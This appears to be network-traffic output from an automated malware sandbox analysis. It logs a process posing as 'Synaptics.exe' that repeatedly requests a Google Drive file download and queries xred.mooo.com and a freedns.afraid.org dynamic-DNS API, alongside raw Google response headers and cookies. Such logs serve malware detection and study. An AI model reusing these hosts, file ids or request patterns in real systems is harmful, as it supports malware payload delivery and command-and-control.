Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:37 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-ZBjK20AS9MKuj5nNqCSh8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY0ewsfPUJAJfYy5i9ywgFg1OYiYr7jtRJg_COrKbqwA3JdY20BFdNn7iBKglKyNFbWckvhUnvcPRwServer: UploadServerSet-Cookie: NID=519=N9IVbbi_ybLPlL5Ktyomp8O37RR9rhONV7JOpGGGH3MJvuEsW8uL6tAxek_47v5zGYQH0cEaxH2NJH4IYHq-qBw05DF44ia6B50eYng5_PfBZLi1AKtMZPje_9RzC4hJ-lUNz755i8_9aooWMtjFNO3EzyN5FXjyG1fZd5oVw0XASIDEOIZYaVQ; expires=Sat, 17-May-2025 10:23:37 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:37 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-nTAq9O8OHHH-Y6TnIKwMvA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY2fW3bYTSVwIHWWemZ939OGliQeUXi8HENLYOyY9pdIlHwjbNbCYmIrrxznO7L0AOshtfrl8rhCNwServer: UploadServerSet-Cookie: NID=519=SEIp9Ft1pM_DTSp4ZWAE2JXd5p6vYnOenYasNDVud7Yu6_XlLVZWsdgqTMAV0WJp8gbHLzac7m-O074jzZozfmgMpTLCdPEbll-92cpDhan5otbZ5vTSOiiwCIw1pFCy9i0rkRERXyoZZbduoCGvMnLGpGFYBf-d6w_ZXbzQtTOeATiGU0dEJLQO; expires=Sat, 17-May-2025 10:23:37 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:38 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-KID8Bmmfkos1AQa7FbFDIA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6aod1xvXH4RJbmt60hFaE47qEFTrppxOCXzSxyUAb1LHVbPTK9iq5HL-vp3kAuyfuN130Server: UploadServerSet-Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14; expires=Sat, 17-May-2025 10:23:38 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:39 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-MbFjJOfr2lxQDAYD5AA7Gg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6xvvkf5JEWNm-Ebn0hiW1kBU41BGLEaRKdWiflC-APIEpLNolaXMv8I9Q3pLhL7kzFVwD7hwXKNQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:41 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-x9y0utDfJiKu31ywvBbS_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AFiumC7L2BXvs262vS2RCRr1XhfzU8weUU737nJjB4ff9xin1Iu_yxpEYqP6CE2CWgkgSeSDMB0Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:41 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-AT4tiocDJ7GXbZrMx4bX9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AFiumC6sXoB-DQ3X68mRqwrwTwB86msQX0Am439MkhnBXj8L7rA-JKo93560cs_SqJvE05cXjtAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:42 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-p9BG4DZgJUz7Mnn4sIUu3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652X-GUploader-UploadID: AFiumC6Rgn-k5P4zZCNn2251JsyUHVJBxLxNg32qsrLpRLMZ3MFcKVYs1myuJd1wWFJk-b35NNbr5-dl2QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:42 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-N6-oDqMd85dbC50aH0YZvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1652X-GUploader-UploadID: AHmUCY0iGK6LLCieb78sH308NIyZvL5BY9KayvBeI27tWt0pjOdD06VMPQifpkf8SQd8P8RH7XEServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:45 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EV9ShNppUNIrt-oCFPKVVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AHmUCY2MZ9waaS5O8PdRUeWLOXiZri5zFmP996unH6bn9nBn9F5wmdRAH7fgiPbPpIan2tb73dwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 15 Nov 2024 10:23:45 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4AEcD5BCGIruSbU78IRBOA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, 